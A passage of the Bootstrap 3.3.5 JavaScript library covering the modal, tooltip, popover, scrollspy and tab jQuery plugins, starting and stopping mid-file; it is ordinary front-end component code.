that.resetScrollbar()\n      that.$element.trigger('hidden.bs.modal')\n    })\n  }\n\n  Modal.prototype.removeBackdrop = function () {\n    this.$backdrop && this.$backdrop.remove()\n    this.$backdrop = null\n  }\n\n  Modal.prototype.backdrop = function (callback) {\n    var that = this\n    var animate = this.$element.hasClass('fade') ? 'fade' : ''\n\n    if (this.isShown && this.options.backdrop) {\n      var doAnimate = $.support.transition && animate\n\n      this.$backdrop = $(document.createElement('div'))\n        .addClass('modal-backdrop ' + animate)\n        .appendTo(this.$body)\n\n      this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) {\n        if (this.ignoreBackdropClick) {\n          this.ignoreBackdropClick = false\n          return\n        }\n        if (e.target !== e.currentTarget) return\n        this.options.backdrop == 'static'\n          ? this.$element[0].focus()\n          : this.hide()\n      }, this))\n\n      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow\n\n      this.$backdrop.addClass('in')\n\n      if (!callback) return\n\n      doAnimate ?\n        this.$backdrop\n          .one('bsTransitionEnd', callback)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callback()\n\n    } else if (!this.isShown && this.$backdrop) {\n      this.$backdrop.removeClass('in')\n\n      var callbackRemove = function () {\n        that.removeBackdrop()\n        callback && callback()\n      }\n      $.support.transition && this.$element.hasClass('fade') ?\n        this.$backdrop\n          .one('bsTransitionEnd', callbackRemove)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callbackRemove()\n\n    } else if (callback) {\n      callback()\n    }\n  }\n\n  // these following methods are used to handle overflowing modals\n\n  Modal.prototype.handleUpdate = function () {\n    this.adjustDialog()\n  }\n\n  Modal.prototype.adjustDialog = function () {\n    var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight\n\n    this.$element.css({\n      paddingLeft:  !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',\n      paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''\n    })\n  }\n\n  Modal.prototype.resetAdjustments = function () {\n    this.$element.css({\n      paddingLeft: '',\n      paddingRight: ''\n    })\n  }\n\n  Modal.prototype.checkScrollbar = function () {\n    var fullWindowWidth = window.innerWidth\n    if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8\n      var documentElementRect = document.documentElement.getBoundingClientRect()\n      fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left)\n    }\n    this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth\n    this.scrollbarWidth = this.measureScrollbar()\n  }\n\n  Modal.prototype.setScrollbar = function () {\n    var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)\n    this.originalBodyPad = document.body.style.paddingRight || ''\n    if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)\n  }\n\n  Modal.prototype.resetScrollbar = function () {\n    this.$body.css('padding-right', this.originalBodyPad)\n  }\n\n  Modal.prototype.measureScrollbar = function () { // thx walsh\n    var scrollDiv = document.createElement('div')\n    scrollDiv.className = 'modal-scrollbar-measure'\n    this.$body.append(scrollDiv)\n    var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth\n    this.$body[0].removeChild(scrollDiv)\n    return scrollbarWidth\n  }\n\n\n  // MODAL PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option, _relatedTarget) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.modal')\n      var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data) $this.data('bs.modal', (data = new Modal(this, options)))\n      if (typeof option == 'string') data[option](_relatedTarget)\n      else if (options.show) data.show(_relatedTarget)\n    })\n  }\n\n  var old = $.fn.modal\n\n  $.fn.modal             = Plugin\n  $.fn.modal.Constructor = Modal\n\n\n  // MODAL NO CONFLICT\n  // =================\n\n  $.fn.modal.noConflict = function () {\n    $.fn.modal = old\n    return this\n  }\n\n\n  // MODAL DATA-API\n  // ==============\n\n  $(document).on('click.bs.modal.data-api', '[data-toggle=\"modal\"]', function (e) {\n    var $this   = $(this)\n    var href    = $this.attr('href')\n    var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\\s]+$)/, ''))) // strip for ie7\n    var option  = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())\n\n    if ($this.is('a')) e.preventDefault()\n\n    $target.one('show.bs.modal', function (showEvent) {\n      if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown\n      $target.one('hidden.bs.modal', function () {\n        $this.is(':visible') && $this.trigger('focus')\n      })\n    })\n    Plugin.call($target, option, this)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tooltip.js v3.3.5\n * http://getbootstrap.com/javascript/#tooltip\n * Inspired by the original jQuery.tipsy by Jason Frame\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TOOLTIP PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Tooltip = function (element, options) {\n    this.type       = null\n    this.options    = null\n    this.enabled    = null\n    this.timeout    = null\n    this.hoverState = null\n    this.$element   = null\n    this.inState    = null\n\n    this.init('tooltip', element, options)\n  }\n\n  Tooltip.VERSION  = '3.3.5'\n\n  Tooltip.TRANSITION_DURATION = 150\n\n  Tooltip.DEFAULTS = {\n    animation: true,\n    placement: 'top',\n    selector: false,\n    template: '<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',\n    trigger: 'hover focus',\n    title: '',\n    delay: 0,\n    html: false,\n    container: false,\n    viewport: {\n      selector: 'body',\n      padding: 0\n    }\n  }\n\n  Tooltip.prototype.init = function (type, element, options) {\n    this.enabled   = true\n    this.type      = type\n    this.$element  = $(element)\n    this.options   = this.getOptions(options)\n    this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport))\n    this.inState   = { click: false, hover: false, focus: false }\n\n    if (this.$element[0] instanceof document.constructor && !this.options.selector) {\n      throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!')\n    }\n\n    var triggers = this.options.trigger.split(' ')\n\n    for (var i = triggers.length; i--;) {\n      var trigger = triggers[i]\n\n      if (trigger == 'click') {\n        this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))\n      } else if (trigger != 'manual') {\n        var eventIn  = trigger == 'hover' ? 'mouseenter' : 'focusin'\n        var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout'\n\n        this.$element.on(eventIn  + '.' + this.type, this.options.selector, $.proxy(this.enter, this))\n        this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))\n      }\n    }\n\n    this.options.selector ?\n      (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :\n      this.fixTitle()\n  }\n\n  Tooltip.prototype.getDefaults = function () {\n    return Tooltip.DEFAULTS\n  }\n\n  Tooltip.prototype.getOptions = function (options) {\n    options = $.extend({}, this.getDefaults(), this.$element.data(), options)\n\n    if (options.delay && typeof options.delay == 'number') {\n      options.delay = {\n        show: options.delay,\n        hide: options.delay\n      }\n    }\n\n    return options\n  }\n\n  Tooltip.prototype.getDelegateOptions = function () {\n    var options  = {}\n    var defaults = this.getDefaults()\n\n    this._options && $.each(this._options, function (key, value) {\n      if (defaults[key] != value) options[key] = value\n    })\n\n    return options\n  }\n\n  Tooltip.prototype.enter = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    if (obj instanceof $.Event) {\n      self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true\n    }\n\n    if (self.tip().hasClass('in') || self.hoverState == 'in') {\n      self.hoverState = 'in'\n      return\n    }\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'in'\n\n    if (!self.options.delay || !self.options.delay.show) return self.show()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'in') self.show()\n    }, self.options.delay.show)\n  }\n\n  Tooltip.prototype.isInStateTrue = function () {\n    for (var key in this.inState) {\n      if (this.inState[key]) return true\n    }\n\n    return false\n  }\n\n  Tooltip.prototype.leave = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    if (obj instanceof $.Event) {\n      self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false\n    }\n\n    if (self.isInStateTrue()) return\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'out'\n\n    if (!self.options.delay || !self.options.delay.hide) return self.hide()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'out') self.hide()\n    }, self.options.delay.hide)\n  }\n\n  Tooltip.prototype.show = function () {\n    var e = $.Event('show.bs.' + this.type)\n\n    if (this.hasContent() && this.enabled) {\n      this.$element.trigger(e)\n\n      var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0])\n      if (e.isDefaultPrevented() || !inDom) return\n      var that = this\n\n      var $tip = this.tip()\n\n      var tipId = this.getUID(this.type)\n\n      this.setContent()\n      $tip.attr('id', tipId)\n      this.$element.attr('aria-describedby', tipId)\n\n      if (this.options.animation) $tip.addClass('fade')\n\n      var placement = typeof this.options.placement == 'function' ?\n        this.options.placement.call(this, $tip[0], this.$element[0]) :\n        this.options.placement\n\n      var autoToken = /\\s?auto?\\s?/i\n      var autoPlace = autoToken.test(placement)\n      if (autoPlace) placement = placement.replace(autoToken, '') || 'top'\n\n      $tip\n        .detach()\n        .css({ top: 0, left: 0, display: 'block' })\n        .addClass(placement)\n        .data('bs.' + this.type, this)\n\n      this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)\n      this.$element.trigger('inserted.bs.' + this.type)\n\n      var pos          = this.getPosition()\n      var actualWidth  = $tip[0].offsetWidth\n      var actualHeight = $tip[0].offsetHeight\n\n      if (autoPlace) {\n        var orgPlacement = placement\n        var viewportDim = this.getPosition(this.$viewport)\n\n        placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top'    :\n                    placement == 'top'    && pos.top    - actualHeight < viewportDim.top    ? 'bottom' :\n                    placement == 'right'  && pos.right  + actualWidth  > viewportDim.width  ? 'left'   :\n                    placement == 'left'   && pos.left   - actualWidth  < viewportDim.left   ? 'right'  :\n                    placement\n\n        $tip\n          .removeClass(orgPlacement)\n          .addClass(placement)\n      }\n\n      var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight)\n\n      this.applyPlacement(calculatedOffset, placement)\n\n      var complete = function () {\n        var prevHoverState = that.hoverState\n        that.$element.trigger('shown.bs.' + that.type)\n        that.hoverState = null\n\n        if (prevHoverState == 'out') that.leave(that)\n      }\n\n      $.support.transition && this.$tip.hasClass('fade') ?\n        $tip\n          .one('bsTransitionEnd', complete)\n          .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n        complete()\n    }\n  }\n\n  Tooltip.prototype.applyPlacement = function (offset, placement) {\n    var $tip   = this.tip()\n    var width  = $tip[0].offsetWidth\n    var height = $tip[0].offsetHeight\n\n    // manually read margins because getBoundingClientRect includes difference\n    var marginTop = parseInt($tip.css('margin-top'), 10)\n    var marginLeft = parseInt($tip.css('margin-left'), 10)\n\n    // we must check for NaN for ie 8/9\n    if (isNaN(marginTop))  marginTop  = 0\n    if (isNaN(marginLeft)) marginLeft = 0\n\n    offset.top  += marginTop\n    offset.left += marginLeft\n\n    // $.fn.offset doesn't round pixel values\n    // so we use setOffset directly with our own function B-0\n    $.offset.setOffset($tip[0], $.extend({\n      using: function (props) {\n        $tip.css({\n          top: Math.round(props.top),\n          left: Math.round(props.left)\n        })\n      }\n    }, offset), 0)\n\n    $tip.addClass('in')\n\n    // check to see if placing tip in new offset caused the tip to resize itself\n    var actualWidth  = $tip[0].offsetWidth\n    var actualHeight = $tip[0].offsetHeight\n\n    if (placement == 'top' && actualHeight != height) {\n      offset.top = offset.top + height - actualHeight\n    }\n\n    var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight)\n\n    if (delta.left) offset.left += delta.left\n    else offset.top += delta.top\n\n    var isVertical          = /top|bottom/.test(placement)\n    var arrowDelta          = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight\n    var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight'\n\n    $tip.offset(offset)\n    this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical)\n  }\n\n  Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) {\n    this.arrow()\n      .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%')\n      .css(isVertical ? 'top' : 'left', '')\n  }\n\n  Tooltip.prototype.setContent = function () {\n    var $tip  = this.tip()\n    var title = this.getTitle()\n\n    $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)\n    $tip.removeClass('fade in top bottom left right')\n  }\n\n  Tooltip.prototype.hide = function (callback) {\n    var that = this\n    var $tip = $(this.$tip)\n    var e    = $.Event('hide.bs.' + this.type)\n\n    function complete() {\n      if (that.hoverState != 'in') $tip.detach()\n      that.$element\n        .removeAttr('aria-describedby')\n        .trigger('hidden.bs.' + that.type)\n      callback && callback()\n    }\n\n    this.$element.trigger(e)\n\n    if (e.isDefaultPrevented()) return\n\n    $tip.removeClass('in')\n\n    $.support.transition && $tip.hasClass('fade') ?\n      $tip\n        .one('bsTransitionEnd', complete)\n        .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n      complete()\n\n    this.hoverState = null\n\n    return this\n  }\n\n  Tooltip.prototype.fixTitle = function () {\n    var $e = this.$element\n    if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') {\n      $e.attr('data-original-title', $e.attr('title') || '').attr('title', '')\n    }\n  }\n\n  Tooltip.prototype.hasContent = function () {\n    return this.getTitle()\n  }\n\n  Tooltip.prototype.getPosition = function ($element) {\n    $element   = $element || this.$element\n\n    var el     = $element[0]\n    var isBody = el.tagName == 'BODY'\n\n    var elRect    = el.getBoundingClientRect()\n    if (elRect.width == null) {\n      // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093\n      elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })\n    }\n    var elOffset  = isBody ? { top: 0, left: 0 } : $element.offset()\n    var scroll    = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }\n    var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null\n\n    return $.extend({}, elRect, scroll, outerDims, elOffset)\n  }\n\n  Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) {\n    return placement == 'bottom' ? { top: pos.top + pos.height,   left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'top'    ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'left'   ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } :\n        /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width }\n\n  }\n\n  Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) {\n    var delta = { top: 0, left: 0 }\n    if (!this.$viewport) return delta\n\n    var viewportPadding = this.options.viewport && this.options.viewport.padding || 0\n    var viewportDimensions = this.getPosition(this.$viewport)\n\n    if (/right|left/.test(placement)) {\n      var topEdgeOffset    = pos.top - viewportPadding - viewportDimensions.scroll\n      var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight\n      if (topEdgeOffset < viewportDimensions.top) { // top overflow\n        delta.top = viewportDimensions.top - topEdgeOffset\n      } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow\n        delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset\n      }\n    } else {\n      var leftEdgeOffset  = pos.left - viewportPadding\n      var rightEdgeOffset = pos.left + viewportPadding + actualWidth\n      if (leftEdgeOffset < viewportDimensions.left) { // left overflow\n        delta.left = viewportDimensions.left - leftEdgeOffset\n      } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow\n        delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset\n      }\n    }\n\n    return delta\n  }\n\n  Tooltip.prototype.getTitle = function () {\n    var title\n    var $e = this.$element\n    var o  = this.options\n\n    title = $e.attr('data-original-title')\n      || (typeof o.title == 'function' ? o.title.call($e[0]) :  o.title)\n\n    return title\n  }\n\n  Tooltip.prototype.getUID = function (prefix) {\n    do prefix += ~~(Math.random() * 1000000)\n    while (document.getElementById(prefix))\n    return prefix\n  }\n\n  Tooltip.prototype.tip = function () {\n    if (!this.$tip) {\n      this.$tip = $(this.options.template)\n      if (this.$tip.length != 1) {\n        throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!')\n      }\n    }\n    return this.$tip\n  }\n\n  Tooltip.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow'))\n  }\n\n  Tooltip.prototype.enable = function () {\n    this.enabled = true\n  }\n\n  Tooltip.prototype.disable = function () {\n    this.enabled = false\n  }\n\n  Tooltip.prototype.toggleEnabled = function () {\n    this.enabled = !this.enabled\n  }\n\n  Tooltip.prototype.toggle = function (e) {\n    var self = this\n    if (e) {\n      self = $(e.currentTarget).data('bs.' + this.type)\n      if (!self) {\n        self = new this.constructor(e.currentTarget, this.getDelegateOptions())\n        $(e.currentTarget).data('bs.' + this.type, self)\n      }\n    }\n\n    if (e) {\n      self.inState.click = !self.inState.click\n      if (self.isInStateTrue()) self.enter(self)\n      else self.leave(self)\n    } else {\n      self.tip().hasClass('in') ? self.leave(self) : self.enter(self)\n    }\n  }\n\n  Tooltip.prototype.destroy = function () {\n    var that = this\n    clearTimeout(this.timeout)\n    this.hide(function () {\n      that.$element.off('.' + that.type).removeData('bs.' + that.type)\n      if (that.$tip) {\n        that.$tip.detach()\n      }\n      that.$tip = null\n      that.$arrow = null\n      that.$viewport = null\n    })\n  }\n\n\n  // TOOLTIP PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.tooltip')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tooltip\n\n  $.fn.tooltip             = Plugin\n  $.fn.tooltip.Constructor = Tooltip\n\n\n  // TOOLTIP NO CONFLICT\n  // ===================\n\n  $.fn.tooltip.noConflict = function () {\n    $.fn.tooltip = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: popover.js v3.3.5\n * http://getbootstrap.com/javascript/#popovers\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // POPOVER PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Popover = function (element, options) {\n    this.init('popover', element, options)\n  }\n\n  if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')\n\n  Popover.VERSION  = '3.3.5'\n\n  Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, {\n    placement: 'right',\n    trigger: 'click',\n    content: '',\n    template: '<div class=\"popover\" role=\"tooltip\"><div class=\"arrow\"></div><h3 class=\"popover-title\"></h3><div class=\"popover-content\"></div></div>'\n  })\n\n\n  // NOTE: POPOVER EXTENDS tooltip.js\n  // ================================\n\n  Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype)\n\n  Popover.prototype.constructor = Popover\n\n  Popover.prototype.getDefaults = function () {\n    return Popover.DEFAULTS\n  }\n\n  Popover.prototype.setContent = function () {\n    var $tip    = this.tip()\n    var title   = this.getTitle()\n    var content = this.getContent()\n\n    $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)\n    $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events\n      this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'\n    ](content)\n\n    $tip.removeClass('fade top bottom left right in')\n\n    // IE8 doesn't accept hiding via the `:empty` pseudo selector, we have to do\n    // this manually by checking the contents.\n    if (!$tip.find('.popover-title').html()) $tip.find('.popover-title').hide()\n  }\n\n  Popover.prototype.hasContent = function () {\n    return this.getTitle() || this.getContent()\n  }\n\n  Popover.prototype.getContent = function () {\n    var $e = this.$element\n    var o  = this.options\n\n    return $e.attr('data-content')\n      || (typeof o.content == 'function' ?\n            o.content.call($e[0]) :\n            o.content)\n  }\n\n  Popover.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.arrow'))\n  }\n\n\n  // POPOVER PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.popover')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.popover', (data = new Popover(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.popover\n\n  $.fn.popover             = Plugin\n  $.fn.popover.Constructor = Popover\n\n\n  // POPOVER NO CONFLICT\n  // ===================\n\n  $.fn.popover.noConflict = function () {\n    $.fn.popover = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: scrollspy.js v3.3.5\n * http://getbootstrap.com/javascript/#scrollspy\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // SCROLLSPY CLASS DEFINITION\n  // ==========================\n\n  function ScrollSpy(element, options) {\n    this.$body          = $(document.body)\n    this.$scrollElement = $(element).is(document.body) ? $(window) : $(element)\n    this.options        = $.extend({}, ScrollSpy.DEFAULTS, options)\n    this.selector       = (this.options.target || '') + ' .nav li > a'\n    this.offsets        = []\n    this.targets        = []\n    this.activeTarget   = null\n    this.scrollHeight   = 0\n\n    this.$scrollElement.on('scroll.bs.scrollspy', $.proxy(this.process, this))\n    this.refresh()\n    this.process()\n  }\n\n  ScrollSpy.VERSION  = '3.3.5'\n\n  ScrollSpy.DEFAULTS = {\n    offset: 10\n  }\n\n  ScrollSpy.prototype.getScrollHeight = function () {\n    return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)\n  }\n\n  ScrollSpy.prototype.refresh = function () {\n    var that          = this\n    var offsetMethod  = 'offset'\n    var offsetBase    = 0\n\n    this.offsets      = []\n    this.targets      = []\n    this.scrollHeight = this.getScrollHeight()\n\n    if (!$.isWindow(this.$scrollElement[0])) {\n      offsetMethod = 'position'\n      offsetBase   = this.$scrollElement.scrollTop()\n    }\n\n    this.$body\n      .find(this.selector)\n      .map(function () {\n        var $el   = $(this)\n        var href  = $el.data('target') || $el.attr('href')\n        var $href = /^#./.test(href) && $(href)\n\n        return ($href\n          && $href.length\n          && $href.is(':visible')\n          && [[$href[offsetMethod]().top + offsetBase, href]]) || null\n      })\n      .sort(function (a, b) { return a[0] - b[0] })\n      .each(function () {\n        that.offsets.push(this[0])\n        that.targets.push(this[1])\n      })\n  }\n\n  ScrollSpy.prototype.process = function () {\n    var scrollTop    = this.$scrollElement.scrollTop() + this.options.offset\n    var scrollHeight = this.getScrollHeight()\n    var maxScroll    = this.options.offset + scrollHeight - this.$scrollElement.height()\n    var offsets      = this.offsets\n    var targets      = this.targets\n    var activeTarget = this.activeTarget\n    var i\n\n    if (this.scrollHeight != scrollHeight) {\n      this.refresh()\n    }\n\n    if (scrollTop >= maxScroll) {\n      return activeTarget != (i = targets[targets.length - 1]) && this.activate(i)\n    }\n\n    if (activeTarget && scrollTop < offsets[0]) {\n      this.activeTarget = null\n      return this.clear()\n    }\n\n    for (i = offsets.length; i--;) {\n      activeTarget != targets[i]\n        && scrollTop >= offsets[i]\n        && (offsets[i + 1] === undefined || scrollTop < offsets[i + 1])\n        && this.activate(targets[i])\n    }\n  }\n\n  ScrollSpy.prototype.activate = function (target) {\n    this.activeTarget = target\n\n    this.clear()\n\n    var selector = this.selector +\n      '[data-target=\"' + target + '\"],' +\n      this.selector + '[href=\"' + target + '\"]'\n\n    var active = $(selector)\n      .parents('li')\n      .addClass('active')\n\n    if (active.parent('.dropdown-menu').length) {\n      active = active\n        .closest('li.dropdown')\n        .addClass('active')\n    }\n\n    active.trigger('activate.bs.scrollspy')\n  }\n\n  ScrollSpy.prototype.clear = function () {\n    $(this.selector)\n      .parentsUntil(this.options.target, '.active')\n      .removeClass('active')\n  }\n\n\n  // SCROLLSPY PLUGIN DEFINITION\n  // ===========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.scrollspy')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.scrollspy', (data = new ScrollSpy(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.scrollspy\n\n  $.fn.scrollspy             = Plugin\n  $.fn.scrollspy.Constructor = ScrollSpy\n\n\n  // SCROLLSPY NO CONFLICT\n  // =====================\n\n  $.fn.scrollspy.noConflict = function () {\n    $.fn.scrollspy = old\n    return this\n  }\n\n\n  // SCROLLSPY DATA-API\n  // ==================\n\n  $(window).on('load.bs.scrollspy.data-api', function () {\n    $('[data-spy=\"scroll\"]').each(function () {\n      var $spy = $(this)\n      Plugin.call($spy, $spy.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tab.js v3.3.5\n * http://getbootstrap.com/javascript/#tabs\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TAB CLASS DEFINITION\n  // ====================\n\n  var Tab = function (element) {\n    // jscs:disable requireDollarBeforejQueryAssignment\n    this.element = $(element)\n    // jscs:enable requireDollarBeforejQueryAssignment\n  }\n\n  Tab.VERSION = '3.3.5'\n\n  Tab.TRANSITION_DURATION = 150\n\n  Tab.prototype.show = function () {\n    var $this    = this.element\n    var $ul      = $this.closest('ul:not(.dropdown-menu)')\n    var selector = $this.data('target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    if ($this.parent('li').hasClass('active')) return\n\n    var $previous = $ul.find('.active:last a')\n    var hideEvent = $.Event('hide.bs.tab', {\n      relatedTarget: $this[0]\n    })\n    var showEvent = $.Event('show.bs.tab', {\n      relatedTarget: $previous[0]\n    })\n\n    $previous.trigger(hideEvent)\n    $this.trigger(showEvent)\n\n    if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return\n\n    var $target = $(selector)\n\n    this.activate($this.closest('li'), $ul)\n    this.activate($target, $target.parent(), function () {\n      $previous.trigger({\n        type: 'hidden.bs.tab',\n        relatedTarget: $this[0]\n      })\n      $this.trigger({\n        type: 'shown.bs.tab',\n        relatedTarget: $previous[0]\n      })\n    })\n  }\n\n  Tab.prototype.activate = function (element, container, callback) {\n    var $active    = container.find('> .active')\n    var transition = callback\n      && $.support.transition\n      && ($active.length && $active.hasClass('fade') || !!container.find('> .fade').length)\n\n    function next() {\n      $active\n        .removeClass('active')\n        .find('> .dropdown-menu > .active')\n          .removeClass('active')\n        .end()\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', false)\n\n      element\n        .addClass('active')\n        .find('[data-toggle=\"tab\"]')\n          .attr('aria-expanded', true)\n\n      if (transition) {\n        element[0].offsetWidth // reflow for transition\n        element.addClass('in')\n      } else {\n        element.removeClass('fade')\n      }\n\n      if (element.parent('.dropdown-menu').length) {\n        element\n          .closest('li.dropdown')\n            .addClass('active')\n          .end()\n          .find('[data-toggle=\"tab\"]')\n            .attr('aria-expanded', true)\n      }\n\n      callback && callback()\n    }\n\n    $active.length && transition ?\n      $active\n        .one('bsTransitionEnd', next)\n        .emulateTransitionEnd(Tab.TRANSITION_DURATION) :\n      next()\n\n    $active.removeClass('in')\n  }\n\n\n  // TAB PLUGIN DEFINITION\n  // =====================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.tab')\n\n      if (!data) $this.data('bs.tab', (data = new Tab(this)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tab\n\n  $.fn.tab             = Plugin\n  $.fn.tab.Constructor = Tab\n\n\n  // TAB NO CONFLICT\n  // ===============\n\n  $.fn.tab.noConflict = function () {\n    $.fn.tab = old\n    return this\n  }\n\n\n  // TAB DATA-API\n  // ============\n\n  var clickHandler = function (e) {\n    e.preventDefault()\n    Plugin.call($(this), 'show')\n  }\n\n  $(document)\n    .on('click.bs.tab.data-api', '[data-toggle=\"tab\"]', clickHandler)\n    .on('click.bs.tab.data-api', 